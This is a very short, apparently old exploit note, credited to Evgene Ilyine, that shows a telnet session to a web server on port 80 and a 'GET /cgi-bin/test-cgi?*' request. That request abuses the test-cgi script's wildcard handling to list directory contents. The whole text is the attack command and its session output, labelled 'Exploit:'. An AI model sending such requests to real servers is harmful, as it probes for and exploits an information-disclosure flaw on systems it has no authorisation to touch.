Exploit:

hax0r:/# telnet www.blah.net 80

 Trying 200.xx.xx.xx...
  Connected to www.blah.net
  Escape character is '^]'.

  GET /cgi-bin/test-cgi?*

                 (postmaster@spbu.ru)  Evgene Ilyine